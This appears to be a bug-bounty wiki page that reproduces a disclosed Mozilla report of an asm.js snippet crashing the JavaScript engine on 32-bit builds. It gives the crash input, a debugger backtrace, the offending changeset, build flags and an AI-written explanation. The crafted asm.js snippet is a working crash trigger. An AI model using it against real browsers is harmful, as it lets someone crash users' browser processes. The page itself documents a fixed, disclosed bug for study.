Test cases (was: Crash at weird memory address on 32-bit builds)
A crafted asm.js function caused the JavaScript engine to crash on 32-bit builds when a truncation operation was compiled. An attacker could use such a script to crash the browser process, though the text does not claim code execution.
Originally disclosed on Mozilla
- Fixed in 14 days
- Paid in 18 days
- Disclosed after 14 days
Created attachment 9176705
debug stack
+++ This bug was initially created as a clone of Bug #1664953 +++
'''js
(function (stdlib) {
"use asm";
var sqrt = stdlib.Math.sqrt;
function f(i0) {
i0 = i0 | 0;
i0 = ~~sqrt(-.5);
return (1 / (1 >> (.0 == .0)) & i0 >> 1);
}
return f;
})(this)();
'''
Opt shell:
'''
(gdb) bt
#0 0x3d3bf004 in ?? ()
#1 0x7ff00000 in ?? ()
#2 0x3d3af114 in ?? ()
#3 0xf66f64c0 in ?? ()
(gdb) x/i $pc
=> 0x3d3bf004: mov 0x10(%esi),%ecx
(gdb) x/b $esi
0x7ff00000: Cannot access memory at address 0x7ff00000
(gdb) x/b $ecx
0xffffaad8: 0x00
(gdb)
'''
'''
The first bad revision is:
changeset: https://hg.mozilla.org/mozilla-central/rev/09390cf1d667
user: Dmitry Bezhetskov
date: Mon Sep 14 05:19:44 2020 +0000
summary: Bug 1639153 - Part 6.6: Add tls dependency for truncate i32. r=lth
'''
Run with `--fuzzing-safe --no-threads --no-baseline --no-ion`, compile with `AR=ar sh ./configure --host=x86_64-pc-linux-gnu --target=i686-pc-linux --with-ccache --enable-gczeal --enable-debug-symbols --disable-tests`, tested on m-c rev ab7d302fd318.
This seems specific to 32-bit builds.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a compiler bug in the asm.js code generator where a truncate-to-int32 operation was given a wrong thread-local storage dependency, producing incorrect code on 32-bit builds.
Impact
On 32-bit builds the engine crashes, which could take down the browser tab or process; the text does not show memory corruption being turned into code execution.
What the attacker needed
32-bit build of the engine; ability to run JavaScript in it
How it was found
- Build the engine for a 32-bit target with the listed configure options.
- Run the engine with the listed shell flags.
- Execute the provided asm.js snippet.
- Observe the crash at an invalid memory address in the debugger.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A browser runs JavaScript code from web pages. Here a small, strange-looking script made the part of the browser that translates JavaScript into fast machine code produce a bad memory access, so the browser crashed. The report only shows a crash, not a way to take over the machine.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.